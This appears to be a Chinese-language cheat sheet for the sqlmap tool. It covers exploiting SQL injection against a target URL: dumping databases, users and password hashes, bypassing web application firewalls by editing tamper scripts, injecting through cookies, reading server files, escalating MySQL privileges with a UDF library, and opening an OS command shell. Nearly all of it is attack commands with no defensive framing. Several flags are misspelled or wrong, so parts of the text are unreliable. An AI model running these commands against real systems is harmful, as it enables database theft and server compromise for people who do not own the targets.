sqlmap实战-1
检测和利用sql注入
python2 sqlmap.py -u "[URL_SQL注入点]" [--batch]
--batch
:自动选择sqlmap默认的选择
寻找目标
直接连接数据库
python2 sqlmap.py -d "mysql://[user]:[password]@[ip]:[port]/[dbs]" --banner --dbs --users
数据库操作参数:
--dbs
:列举数据库信息
--current-db
:当前数据库名
--current-user
:当前数据库用户
--users
:列举DBMS中所有用户
--passwords
:列举DBMA中所有账户和密码
-D [databases] …
:指定数据库名,对库进行操作
-T [tables]
:指定数据表,对表进行操作
-C [columns]
:指定列名,对列进行操作
--tables
:列举数据库表的信息
--columns
:列举数据表的列名信息
--schema
:枚举数据库结构
--count
:枚举数据包的项目数
-D/-T/-C/--dbs/--tables/--columns/--schema/--count
联合操作就可以实现对数据库的具体操作
#列举库中的所有表:
-D [库名] --tables
#列举表中的字段名:
-D [库名] -T [表名] --columns
--dump
:导出数据
--start
:指定开始的行
--stop
:指定结束的行
# 导出当前全部的数据表数据
-D [库名] -T [表名] -C [字段名] --count --dump
# 导出部分(范围)数据表数据
-D [库名] -T [表名] -C [字段名] --start {*} --stop {*} --dump
sqlmap技巧
利用注释的方法绕过waf注入
/tamper/halfversionecdmoreckeywords.py:
return match.group().replace(word, "/*!0%s" % word)
# 修改
return match.group().replace(word,"/*!50000%s*/" % word)
/xml/queries.xml:
<cast query="CAST(%s AS CHAR)"/>
<!--修改-->
<cast query="CAST(%s, CHAR)"/>
sqlmap实施注入:
sqlmap.py -u [url] --tamper ./tamper/halfversionecdmoreckeywords.py
sqlmap.py -u [url] --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py
URL重写SQL注入测试
value1
为测试参数,加*符号即可,sqlmap将会测试value1
位置是否可以注入
列举并破解密码hash
当用户可以有权限查看用户密码的时候,--password
会自动连接并破解hash返回结果
对目标进行爬取
--batch --crawl=3
从目标URL爬取网站
使用hex规避编码导致丢失
sqlmap.py -u [url] --banner --hex -v 3 --parse-errors
--parse-errors
:解析和显示响应数据库错误信息
模仿移动端访问目标
sqlmap.py -u [url] --banner --mobile
--mobile
:设定一个移动端的“User-Agent”模仿手机访问URL
智能判断测试
sqlmap.py -u [url] --bath --smart
--smart
:快速判断 为报错注入点进行注入
结合Burp进行注入测试
在Burp——Options——"proxy.Requests"中保存Burp的抓包记录
sqlmap.py -r burp***.txt
从抓包记录中加载HTTP请求
sqlmap.py -u [url] --data "[*……*]"
自动填写表单
sqlmap.py -u [url] --forms [……]
--forms
:解析和测试目标URL表单
读取Linux的文件
sqlmap.py -u [url] --file [url]
延时注入
sqlmap.py -u [url] --technique -T --current-user
sqlmap.py -u [url] --delay 0.5
sqlmap.py -u [url] --safe-freq # 请求两次
Burp抓包利用sqlmap注入
sqlmap.py -r ***.txt -p [需要注入的参数]
-p
:指定注入参数
sqlmap Cookies注入
默认情况下,sqlmap只支持get/post参数的注入,使用-level
参数且数值大于等于2就会检测cookie参数,大概大于3时检查User-Agent和Referer
sqlmap.py -u [url] --cookie [value] --level 3
sqlmap.py -u [url] --cookie [value] --level 3 --tables
sqlmap.py -u [url] --cookie [value] --level 3 -T [表名] --coiumns
……
MySQL提权
连接并打开一个交互shell
sqlmap.py -d "mysql://[user]:[password]@[ip]:[port]/[dbs]" --sql-shell
上传lib_mysqludf_sys到plugin目录
sqlmap.py -d "mysql://[user]:[password]@[ip]:[port]/[dbs]"
--file-write=
执行shell命令
sqlmap.py -u [url] --os-cmd=[^] #执行cmd命令(Win环境)
sqlmap.py -u [url] --os-shell=[^] #建立交互式的shell